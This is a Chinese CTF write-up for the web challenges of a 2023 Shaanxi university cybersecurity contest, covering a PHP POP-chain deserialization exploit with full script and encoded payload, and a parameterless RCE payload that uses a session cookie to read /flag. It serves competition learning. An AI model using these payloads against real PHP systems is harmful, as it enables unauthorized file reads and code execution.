您现在的位置是:首页 >技术杂谈 >2023年第三届陕西省大学生网络安全技能大赛 web部分 wp网站首页技术杂谈
2023年第三届陕西省大学生网络安全技能大赛 web部分 wp
总体来说还行,就是又感受到了py的成分,多的不说,星盟出的题,题目质量还是可以的,希望之后通过学习大佬的姿势来长长见识。
目录
EZPOP
首先来到页面
点击,就是空白页,查看源代码 F12都会进入空白页,猜测存在js在搞怪。
先打开一个空白页,再f12,再输入题目网址,得到f12源码,查看source的js
查看js,发现一段base64的代码,解密,发现php文件,/pop3ZTgMw.php
pop链子:
首先这里用“night:destruct->day:tostring->dark:go”触发短链子:来查看phpinfo()没有flag,所以还得用长链子:“night:destruct->day:tostring->dark:go->light:invoke->day:call->dark:getflag”
本来想读取一下index.php来看一下flag存放的位置及文件名,但是读取失败,证明没有index.php的文件,所以直接盲猜/flag。
hacked函数会过滤/,但是后面返回的是url解码的值,所以我们对/flag进行url编码后传入。同样的,正则也会失效。
绕过exception,只要让其报错就行,比如把night的类内数量由1改为2。
脚本如下:
<?php
use dark as GlobalDark;
use day as GlobalDay;
use light as GlobalLight;
use night as GlobalNight;
highlight_file(__FILE__);
class night
{
public $night;
public function __destruct(){
echo $this->night . '哒咩哟';
}
}
class day
{
public $day;
public function __toString(){
echo $this->day->go();
}
public function __call($a, $b){
echo $this->day->getFlag();
}
}
class light
{
public $light;
public function __invoke(){
echo $this->light->d();
}
}
class dark
{
public $dark;
public function go(){
($this->dark)();
}
public function getFlag(){
include(hacked($this->dark));
}
}
function hacked($s) {
if(substr($s, 0,1) == '/'){
die('呆jio步');
}
$s = preg_replace('/..*/', '.', $s);
$s = urldecode($s);
$s = htmlentities($s, ENT_QUOTES, 'UTF-8');
return strip_tags($s);
}
#下面这是短链子,查看phpinfo(),但是没有flag,我们用长链子
// $night = new GlobalNight();
// $day = new GlobalDay();
// $dark = new GlobalDark();
// $dark->dark = "phpinfo";
// $day->day = $dark;
// $night->night = $day;
// echo serialize($night);
#O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:7:"phpinfo";}}}
#下面这是长链子,直接读取/flag
$night = new GlobalNight();
$day1 = new GlobalDay();
$day2 = new GlobalDay();
$light = new GlobalLight();
$dark = new GlobalDark();
$dark1 = new GlobalDark();
$dark->dark = '%2f%66%6c%61%67';
$day2->day = $dark;
$light->light = $day2;
$dark1->dark = $light;
$day1->day = $dark1;
$night->night = $day1;
echo (serialize($night)) ;
echo urlencode(serialize($night)) ;
$un = unserialize($_POST['1']); //
#$un = unserialize($_POST['快给我传参pop']); //
#throw new Exception('seino');
传参有不可见字符,这里我复制用hackbar传,也可以写python脚本传,得到flag。payload:
快给我传参pop=O%3A5%3A%22night%22%3A2%3A%7Bs%3A5%3A%22night%22%3BO%3A3%3A%22day%22%3A1%3A%7Bs%3A3%3A%22day%22%3BO%3A4%3A%22dark%22%3A1%3A%7Bs%3A4%3A%22dark%22%3BO%3A5%3A%22light%22%3A1%3A%7Bs%3A5%3A%22light%22%3BO%3A3%3A%22day%22%3A1%3A%7Bs%3A3%3A%22day%22%3BO%3A4%3A%22dark%22%3A1%3A%7Bs%3A4%3A%22dark%22%3Bs%3A15%3A%22%252f%2566%256c%2561%2567%22%3B%7D%7D%7D%7D%7D%7D
RCE
随便sumbit进入页面,然后看到源码
是正则匹配的e参数漏洞,php版本也正确。
可以进行命令执行。
爆破跑一下,过滤了很多 但没有过滤(),猜测是无参rce。
试了很多
找到一篇文章PHP的无参数RCE - 先知社区
提到了用cookie的session来进行无参rce
过滤了/,所以flag在根目录下,名字猜出即可。
无参rce的payload:
get:
?key=1
post:
qaq=highlight_file(session_id(session_start()));&name=hahaha
cookie:
PHPSESSID=/flag
unserialize
扫到了robots.txt,里面有hint.php,提示可用的函数是一堆php反射用的函数
猜测用反射进行反序列化,但是之前没做过,一时半会也没找到,时间也不多了,也就没做出来,后面看大佬的复现学习学习吧。